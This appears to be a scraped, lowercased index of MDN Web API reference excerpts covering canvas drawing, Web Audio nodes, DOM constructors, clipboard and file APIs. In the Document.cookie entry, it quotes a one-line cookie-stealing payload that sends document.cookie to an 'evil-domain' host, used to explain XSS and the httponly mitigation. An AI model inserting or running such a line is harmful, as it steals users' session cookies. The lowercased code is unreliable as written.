html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 20); ctx.linewidth = 15; ctx.linecap = 'round'; ctx.lineto(100, 100); ctx.stroke(); result comparison of line caps in this example three lines are drawn, each with a different value for the linecap property.
..."150"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const linecap = ['butt', 'round', 'square']; // draw guides ctx.strokestyle = '#09f'; ctx.beginpath(); ctx.moveto(10, 10); ctx.lineto(140, 10); ctx.moveto(10, 140); ctx.lineto(140, 140); ctx.stroke(); // draw lines ctx.strokestyle = 'black'; for (let i = 0; i < linecap.length; i++) { ctx.linewidth = 15; ctx.linecap = linecap[i]; ctx.beginpath(); ctx.moveto(25 + i * 50, 10); ctx.lineto(25 + i * 50, 140); ctx.stroke(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linecap' in that specification.
CanvasRenderingContext2D.lineJoin - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 20; ctx.linejoin = 'round'; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(190, 100); ctx.lineto(280, 20); ctx.lineto(280, 150); ctx.stroke(); result comparison of line joins the example below draws three different paths, demonstrating each of the three linejoin options.
... <canvas id="canvas" width="150" height="150"></canvas> var ctx = document.getelementbyid('canvas').getcontext('2d'); var linejoin = ['round', 'bevel', 'miter']; ctx.linewidth = 10; for (let i = 0; i < linejoin.length; i++) { ctx.linejoin = linejoin[i]; ctx.beginpath(); ctx.moveto(-5, 5 + i * 40); ctx.lineto(35, 45 + i * 40); ctx.lineto(75, 5 + i * 40); ctx.lineto(115, 45 + i * 40); ctx.lineto(155, 5 + i * 40); ctx.stroke(); } screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linejoin' in that specification.
CanvasRenderingContext2D.lineTo() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); // start a new path ctx.moveto(30, 50); // move the pen to (30, 50) ctx.lineto(150, 100); // draw a line to (150, 100) ctx.stroke(); // render the path result drawing connected lines each call of lineto() (and similar methods) automatically adds to the current sub-path, which means that all the lines will all be stroked or filled together.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.moveto(90, 130); ctx.lineto(95, 25); ctx.lineto(150, 80); ctx.lineto(205, 25); ctx.lineto(210, 130); ctx.linewidth = 15; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.lineto' in that specification.
CanvasRenderingContext2D.shadowColor - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'red'; ctx.shadowoffsetx = 10; ctx.shadowoffsety = 10; // filled rectangle ctx.fillrect(20, 20, 100, 100); // stroked rectangle ctx.linewidth = 6; ctx.strokerect(170, 20, 100, 100); result shadows on translucent shapes a shadow's opacity is affected by the transparency level of its parent object (even when shadowcolor specifies a completely opaque value).
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'rgba(255, 0, 0, .8)'; ctx.shadowblur = 8; ctx.shadowoffsetx = 30; ctx.shadowoffsety = 20; // filled rectangle ctx.fillstyle = 'rgba(0, 255, 0, .2)'; ctx.fillrect(10, 10, 150, 100); // stroked rectangle ctx.linewidth = 10; ctx.strokestyle = 'rgba(0, 0, 255, .6)'; ctx.strokerect(10, 10, 150, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.shadowcolor' in that specification.
A basic ray-caster - Web APIs
open in new window why?
...not exactly a new member of the id software family, but pretty decent considering it's a fully interpreted environment, and i didn't have to worry about memory allocation or video modes or coding inner routines in assembler or anything.
Optimizing canvas - Web APIs
the ui would change only upon user input, the gameplay layer would change with every new frame, and the background would remain generally unchanged.
... render screen differences only, not the whole new state.
Transformations - Web APIs
the current values of the following attributes: strokestyle, fillstyle, globalalpha, linewidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.fillrect(0, 0, 150, 150); // draw a rectangle with default settings ctx.save(); // save the default state ctx.fillstyle = '#09f'; // make changes to the settings ctx.fillrect(15, 15, 120, 120); // draw a rectangle with new settings ctx.save(); // save the current state ctx.fillstyle = '#fff'; // make changes to the settings ctx.globalalpha = 0.5; ctx.fillrect(30, 30, 90, 90); // draw a rectangle with new settings ctx.restore(); // restore previous state ctx.fillrect(45, 45, 60, 60); // draw a rectangle with restored settings ctx.restore(); // re...
ChannelMergerNode - Web APIs
number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor channelmergernode() creates a new channelmergernode object instance.
... var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gai...
ChannelSplitterNode - Web APIs
channel interpretation "discrete" constructor channelsplitternode() creates a new channelsplitternode object instance.
... var ac = new audiocontext(); ac.decodeaudiodata(somestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gai...
Clients.openWindow() - Web APIs
the openwindow() method of the clients interface creates a new top level browsing context and loads a given url.
...(windowclient.focus(), true) : false); // otherwise, open a new tab to the applicable url and focus it.
Clipboard.write() - Web APIs
WebAPIClipboardwrite
function setclipboard(text) { let data = [new clipboarditem({ "text/plain": text })]; navigator.clipboard.write(data).then(function() { /* success */ }, function() { /* failure */ }); } the code begins by creating a new clipboarditem object into which the text will be placed for sending to the clipboard.
... example of copying canvas contents to the clipboard function copycanvascontentstoclipboard(canvas, ondone, onerror) { canvas.toblob(function (blob) { let data = [new clipboarditem({ [blob.type]: blob })]; navigator.clipboard.write(data).then(function () { ondone(); }, function (err) { onerror(err); }) }); } note: you can only pass in one clipboard item at a time.
ClipboardEvent() - Web APIs
the clipboardevent() constructor returns a newly created clipboardevent, representing an event providing information related to modification of the clipboard, that is cut, copy, and paste events.
... syntax var clipboardevent = new clipboardevent(type[, options]); parameters the clipboardevent() constructor also inherits arguments from event().
CloseEvent() - Web APIs
the closeevent() constructor creates a new closeevent.
... syntax var event = new closeevent(typearg, closeeventinit); values typearg is a domstring representing the name of the event.
Comment() - Web APIs
WebAPICommentComment
the comment() constructor returns a newly created comment object with the optional domstring given in parameter as its textual content.
... syntax comment1 = new comment(); // create an empty comment comment2 = new comment("this is a comment"); example var comment = new comment("test"); specifications specification status comment domthe definition of 'comment: comment' in that specification.
CompositionEvent.CompositionEvent() - Web APIs
the compositionevent() constructor creates a new compositionevent object instance.
... syntax const myevent = new compositionevent(typearg [, compositioneventinit]) values typearg is a domstring representing the name of the event.
Console.groupCollapsed() - Web APIs
creates a new inline group in the web console.
... unlike console.group(), however, the new group is created collapsed.
ConvolverNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 1, 2, or 4 channel interpretation "speakers" constructor convolvernode() creates a new convolvernode object instance.
... let audioctx = new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ...
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
syntax var countqueuingstrategy = new countqueuingstrategy({highwatermark}); parameters {highwatermark} an object containing a highwatermark property.
... examples const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ...
CountQueuingStrategy - Web APIs
constructor countqueuingstrategy() creates a new countqueuingstrategy object instance.
... examples const queueingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ...
CredentialsContainer.create() - Web APIs
the create() method of the credentialscontainer interface returns a promise that resolves with a new credential instance based on the provided options, or null if no credential object can be created.
... syntax var promise = credentialscontainer.create([options]) parameters options an object of type credentialcreationoptions that contains options for the requested new credentials object.
Crypto.getRandomValues() - Web APIs
return value the same array passed as typedarray but with its contents replaced with the newly generated random numbers.
... examples /* assuming that window.crypto.getrandomvalues is available */ var array = new uint32array(10); window.crypto.getrandomvalues(array); console.log("your lucky numbers:"); for (var i = 0; i < array.length; i++) { console.log(array[i]); } specification specification status comment web cryptography api recommendation initial definition ...
CustomElementRegistry - Web APIs
methods customelementregistry.define() defines a new custom element.
...pen'}); // create text node and add word count to it var text = document.createelement('span'); text.textcontent = count; // append it to the shadow root shadow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); note: the customelementregistry is available through the window.customelements property.
DOMException() - Web APIs
syntax var domexception = new domexception(); var domexception = new domexception(message); var domexception = new domexception(message, name); parameters message optional a description of the exception.
... return value domexception a newly created domexception object.
DOMMatrixReadOnly() - Web APIs
the dommatrixreadonly constructor creates a new dommatrixreadonly object which represents 4x4 matrices, suitable for 2d and 3d operations.
... syntax var dommatrixreadonly = new dommatrixreadonly([init]) parameters init optional either a string containing a sequence of numbers or an array of integers specifying the matrix you want to create.
DOMPointReadOnly.toJSON() - Web APIs
return value a new dompointinit object whose properties are set to the values in the dompoint or dompointreadonly on which the method was called.
... var topleft = new dompoint(window.screenx, window.screeny); var pointjson = topleft.tojson(); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly.tojson()' in that specification.
DOMRect - Web APIs
WebAPIDOMRect
ct" target="_top"><rect x="191" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="228.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor domrect() creates a new domrect object.
... static methods domrectreadonly.fromrect() creates a new domrect object with a given location and dimensions.
DOMRectReadOnly - Web APIs
constructor domrectreadonly() defined to create a new domrectreadonly object.
... static methods domrectreadonly.fromrect() creates a new domrect object with a given location and dimensions.
DataTransfer() - Web APIs
the datatransfer constructor creates a new datatransfer object instance.
... syntax var datatrans = new datatransfer() parameters none.
DataTransfer.mozSetDataAt() - Web APIs
mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a new item is added, and the mozitemcount is incremented by one.
... function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new items to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard.
DataTransferItemList.add() - Web APIs
the datatransferitemlist.add() method creates a new datatransferitem using the specified data and adds it to the drag data list.
...if the item is successfully added to the list, the newly-created datatransferitem object is returned.
DelayNode.delayTime - Web APIs
syntax var audioctx = new audiocontext(); var mydelay = audioctx.createdelay(5.0); mydelay.delaytime.value = 3.0; note: though the audioparam returned is read-only, the value it represents is not.
... var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ...
DelayNode - Web APIs
WebAPIDelayNode
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor delaynode() creates a new instance of an delaynode object instance.
... var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var synthdelay = audioctx.createdelay(5.0); ...
DeprecationReportBody - Web APIs
message a string containing a human-readable description of the deprecation, including information such as what newer feature has superceded it, if any.
... examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside ...
Detecting device orientation - Web APIs
ation event contains four values: deviceorientationevent.absolute deviceorientationevent.alpha deviceorientationevent.beta deviceorientationevent.gamma the event handler function can look something like this: function handleorientation(event) { var absolute = event.absolute; var alpha = event.alpha; var beta = event.beta; var gamma = event.gamma; // do stuff with the new orientation data } orientation values explained the value reported for each axis indicates the amount of rotation around a given axis in reference to a standard coordinate frame.
... // to make computation easier we shift the range of // x and y to [0,180] x += 90; y += 90; // 10 is half the size of the ball // it center the positioning point to the center of the ball ball.style.top = (maxy*y/180 - 10) + "px"; ball.style.left = (maxx*x/180 - 10) + "px"; } window.addeventlistener('deviceorientation', handleorientation); click here to open this example in a new window; because deviceorientation doesn't work in a cross-origin <iframe> in all browsers.
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
the devicemotionevent constructor creates a new devicemotionevent.
... syntax var devicemotionevent = new devicemotionevent(type[, options]) parameters type must be "devicemotion".
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
the deviceorientationevent constructor creates a new deviceorientationevent.
... syntax var deviceorientationevent = new deviceorientationevent(type[, options]) parameters type either "deviceorientation" or "deviceorientationabsolute".
Document() - Web APIs
WebAPIDocumentDocument
the document constructor creates a new document object that is a web page loaded in the browser and serving as an entry point into the page's content.
... syntax new document(); specifications specification status comment domthe definition of 'document' in that specification.
Document.body - Web APIs
WebAPIDocumentbody
syntax const objref = document.body document.body = objref example // given this html: <body id="oldbodyelement"></body> alert(document.body.id); // "oldbodyelement" const anewbodyelement = document.createelement("body"); anewbodyelement.id = "newbodyelement"; document.body = anewbodyelement; alert(document.body.id); // "newbodyelement" notes document.body is the element that contains the content for the document.
... though the body property is settable, setting a new body on a document will effectively remove all the current children of the existing <body> element.
Document.cookie - Web APIs
WebAPIDocumentcookie
write a new cookie document.cookie = newcookie; in the code above, newcookie is a string of form key=value.
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
Document.createAttribute() - Web APIs
the document.createattribute() method creates a new attribute node, and returns it.
... example var node = document.getelementbyid("div1"); var a = document.createattribute("my_attrib"); a.value = "newval"; node.setattributenode(a); console.log(node.getattribute("my_attrib")); // "newval" specifications specification status comment domthe definition of 'document.createattribute()' in that specification.
Document.createCDATASection() - Web APIs
createcdatasection() creates a new cdata section node, and returns it.
... example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err.
Document.createComment() - Web APIs
createcomment() creates a new comment node, and returns it.
... example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.createTextNode() - Web APIs
creates a new text node.
... example <!doctype html> <html lang="en"> <head> <title>createtextnode example</title> <script> function addtextnode(text) { var newtext = document.createtextnode(text), p1 = document.getelementbyid("p1"); p1.appendchild(newtext); } </script> </head> <body> <button onclick="addtextnode('yes!
Document.createTreeWalker() - Web APIs
the document.createtreewalker() creator method returns a newly created treewalker object.
... return value a new treewalker object.
Document.execCommand() - Web APIs
most commands affect the document's selection (bold, italics, etc.), while others insert new elements (adding a link), or affect an entire line (indenting).
...(not supported by internet explorer.) defaultparagraphseparator changes the paragraph separator used when new paragraphs are created in editable text regions.
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
to test the functionality of hasfocus(), click on the button to open a new window, and try switching between the two pages.
... html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.background = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status comment html living standardthe definition of 'docume...
Document.open() - Web APIs
WebAPIDocumentopen
this call, for example opens github.com in a new window, with its opener set to null: document.open('https://www.github.com','', 'noopener=true') two-argument document.open() browsers used to support a two-argument document.open(), with the following signature: document.open(type, replace) where type specified the mime type of the data you are writing (e.g.
...a string of "replace") specified that the history entry for the new document would replace the current history entry of the document being written to.
Document.writeln() - Web APIs
WebAPIDocumentwriteln
writes a string of text followed by a newline character to a document.
... example document.writeln("<p>enter password:</p>"); notes document.writeln is the same as document.write but adds a newline.
DocumentFragment() - Web APIs
the documentfragment() constructor returns a new, empty documentfragment object .
... syntax fragment = new documentfragment() example let fragment = new documentfragment(); specification specification status comment domthe definition of 'documentfragment()' in that specification.
DocumentFragment - Web APIs
6" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">documentfragment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor documentfragment() creates and returns a new documentfragment object.
... example html <ul id="list"></ul> javascript var list = document.queryselector('#list') var fruits = ['apple', 'orange', 'banana', 'melon'] var fragment = new documentfragment() fruits.foreach(function (fruit) { var li = document.createelement('li') li.innerhtml = fruit fragment.appendchild(li) }) list.appendchild(fragment) result specifications specification status comment domthe definition of 'documentfragment' in that specification.
DocumentTimeline - Web APIs
constructor documenttimeline() creates a new documenttimeline object associated with the active document of the current browsing context.
...this bit of code would start all the cats animating 500 milliseconds into their animations: const cats = document.queryselectorall('.sharedtimelinecat'); const sharedtimeline = new documenttimeline({ origintime: 500 }); for (const cat of cats) { const catkeyframes = new keyframeeffect(cat, keyframes, timing); const catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); } specifications specification status comment web animationsthe definition of 'documenttimeline' in that specification.
DocumentTouch - Web APIs
methods documenttouch.createtouch() creates a new touch object.
... documenttouch.createtouchlist() creates a new touchlist object.
Example - Web APIs
var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is t...
...he parent of para) para.parentnode.appendchild(newelement); } </script> </head> <body> <input type="button" value="change this document." onclick="change()"> <h1>header</h1> <p>paragraph</p> </body> </head> ...
Using the W3C DOM Level 1 Core - Web APIs
var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the pare...
...nt of para) para.parentnode.appendchild(newelement); } you can see this script as a complete example.
DynamicsCompressorNode() - Web APIs
the dynamicscompressornode() constructor creates a new dynamicscompressornode object which provides a compression effect, which lowers the volume of the loudest parts of the signal, in order to help prevent clipping and distortion.
... syntax var dynamicscompressornode = new dynamicscompressornode(context, options) parameters context a reference to an audiocontext.
EXT_blend_minmax - Web APIs
the ext_blend_minmax extension is part of the webgl api and extends blending capabilities by adding two new blend equations: the minimum or maximum color components of the source and destination colors.
... constants this extension adds two new constants, which can be used in webglrenderingcontext.blendequation() and webglrenderingcontext.blendequationseparate(): ext.min_ext produces the minimum color components of the source and destination colors.
Element.outerHTML - Web APIs
WebAPIElementouterHTML
setting the value of outerhtml replaces the element and all of its descendants with a new dom tree constructed by parsing the specified htmlstring.
...ainer"> <div id="d">this is a div.</div> </div> javascript var container = document.getelementbyid("container"); var d = document.getelementbyid("d"); console.log(container.firstchild.nodename); // logs "div" d.outerhtml = "<p>this paragraph replaced the original div.</p>"; console.log(container.firstchild.nodename); // logs "p" // the #d div is no longer part of the document tree, // the new paragraph replaced it.
Element.setAttributeNS() - Web APIs
setattributens adds a new attribute or changes the value of an attribute with the given namespace and name.
... value is the desired string value of the new attribute.
Element.setAttributeNode() - Web APIs
the setattributenode() method adds a new attr node to the specified element.
... html <div id="one" align="left">one</div> <div id="two">two</div> javascript let d1 = document.getelementbyid('one'); let d2 = document.getelementbyid('two'); let a = d1.getattributenode('align'); d2.setattributenode(a.clonenode(true)); // returns: 'left' alert(d2.attributes[1].value); notes if the attribute named already exists on the element, that attribute is replaced with the new one and the replaced one is returned.
Element.setAttributeNodeNS() - Web APIs
setattributenodens adds a new namespaced attribute node to an element.
...div> var myns = "http://www.mozilla.org/ns/specialspace"; var d1 = document.getelementbyid("one"); var d2 = document.getelementbyid("two"); var a = d1.getattributenodens(myns, "special-align"); d2.setattributenodens(a.clonenode(true)); alert(d2.attributes[1].value) // returns: `utterleft' notes if the specified attribute already exists on the element, then that attribute is replaced with the new one and the replaced one is returned.
Element - Web APIs
WebAPIElement
compositionstart fired when a text composition system such as an input method editor starts a new composition session.
... compositionupdate fired when a new character is received in the context of a text composition session controlled by a text composition system such as an input method editor.
Event.initEvent() - Web APIs
WebAPIEventinitEvent
not for use in new websites.deprecated.
... not for use in new websites.see implementation notes.see implementation notes.
EventSource: message event - Web APIs
var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.addeventlistener('message', (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: ...
..." + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message event' in that specification.
ExtendableEvent() - Web APIs
the extendableevent() constructor creates a new extendableevent object.
... syntax var extendableevent = new extendableevent(type, init); parameters type the type of the extendableevent, for example install, activate.
ExtendableEvent - Web APIs
constructor extendableevent() creates a new extendableevent object.
...resources to pre-fetch:', urlstoprefetch); event.waituntil( caches.open(current_caches['prefetch']).then(function(cache) { return cache.addall(urlstoprefetch.map(function(urltoprefetch) { return new request(urltoprefetch, {mode: 'no-cors'}); })).then(function() { console.log('all resources have been fetched and cached.'); }); }).catch(function(error) { console.error('pre-fetching failed:', error); }) ); }); important: when fetching resources, it's very important to use {mode: 'no-cors'} if there is any chance that the resources are served off of a server ...
FederatedCredential - Web APIs
the federatedcredential constructor creates a new federatedcredential object.
... syntax var mycredential = new federatedcredential(init) parameters init options are: provider: a usvstring; identifying the credential provider.
FederatedCredential - Web APIs
constructor federatedcredential() creates a new federatedcredential object.
... examples var cred = new federatedcredential({ id: id, name: name, provider: 'https://account.google.com', iconurl: iconurl }); // store it navigator.credentials.store(cred) .then(function() { // do something else.
Fetch basic concepts - Web APIs
when a new headers object is created using the headers() constructor, its guard is set to none (the default).
... when a request or response object is created, it has an associated headers object whose guard is set as summarized below: new object's type creating constructor guard setting of associated headers object request request() request request() with mode of no-cors request-no-cors response response() response error() or redirect() methods immutable a header's guard affects the set(), delete(), and append() methods which change the header's contents.
Cross-global fetch usage - Web APIs
frame.contentwindow.fetch() the url passed to fetch needs to be relative the problem in the past we would resolve the relative url against the current global, for example: let absolute = new url(relative, window.location.href) this is not a problem as such.
...so in the case described above, it is resolved against the iframe's location: let absolute = new url(relative, frame.contentwindow.location.href) there is a lot of discussion in progress about getting new specs to align with this behavior change, to mitigate potential problems going forward.
File.lastModified - Web APIs
WebAPIFilelastModified
example reading from file input <input type="file" multiple id="fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date = new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be supplied in the new file() constructor function.
... const filewithdate = new file([], 'file.bin', { lastmodified: new date(2017, 1, 1), }); console.log(filewithdate.lastmodified); //returns 1485903600000 const filewithoutdate = new file([], 'file.bin'); console.log(filewithoutdate.lastmodified); //returns current time reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodified might get rounded depending on browser settings.
File - Web APIs
WebAPIFile
api/file" target="_top"><rect x="116" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">file</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor file() returns a newly constructed file.
... instance methods the file interface doesn't define any methods, but inherits methods from the blob interface: blob.prototype.slice([start[, end[, contenttype]]]) returns a new blob object containing the data in the specified range of bytes of the source blob.
FileError - Web APIs
WebAPIFileError
use the new dom4 domerror interface instead.
...it extends the fileerror interface described in file writer and adds several new error codes.
FileReader.readAsDataURL() - Web APIs
example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var pr...
...eview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
FileReaderSync - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.see implementation notes.see implementation notes.
FileSystemDirectoryReader - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
FileSystemEntry.getMetadata() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
FileSystemEntry.remove() - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.
FocusEvent() - Web APIs
the focusevent() constructor returns a newly created focusevent object with an optional eventtarget.
... syntax var focusevent = new focusevent(typearg[, focuseventinit]); properties the focusevent() constructor also inherits arguments from uievent() and from event().
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
the fontfacesetloadevent constructor creates a new fontfaceloadevent object which is fired whenever a fontfaceset loads.
... syntax var fontfacesetloadevent = new fontfacesetloadevent(type[, options]) parameters type the literal value 'type' (quotation marks included).
FormDataEvent - Web APIs
constructor formdataevent() creates a new formdataevent object instance.
... examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.se...
Frame Timing API - Web APIs
the observer (callback) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available.
...when the browser adds a new frame to the performance timeline, the specified observer callback will be invoked.
Fullscreen API - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name.
GainNode.gain - Web APIs
WebAPIGainNodegain
syntax var audioctx = new audiocontext(); var gainnode = audioctx.creategain(); gainnode.gain.value = 0.5; value an audioparam.
... the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsou...
GamepadEvent() - Web APIs
the gamepadevent() constructor creates a new gamepadevent object.
... syntax var gamepadevent = new gamepadevent(typearg, options) parameters typearg a domstring that must be one of gamepadconnected or gamepaddisconnected.
GlobalEventHandlers - Web APIs
globaleventhandlers.onanimationiteration an eventhandler called when an animationiteration event has been sent, indicating that a css animation has begun playing a new iteration of the animation sequence.
...when the user starts to make a new text selection on a web page.
Gyroscope.Gyroscope() - Web APIs
the gyroscope constructor creates a new gyroscope object which provides on each reading the angular velocity of the device along all three axes.
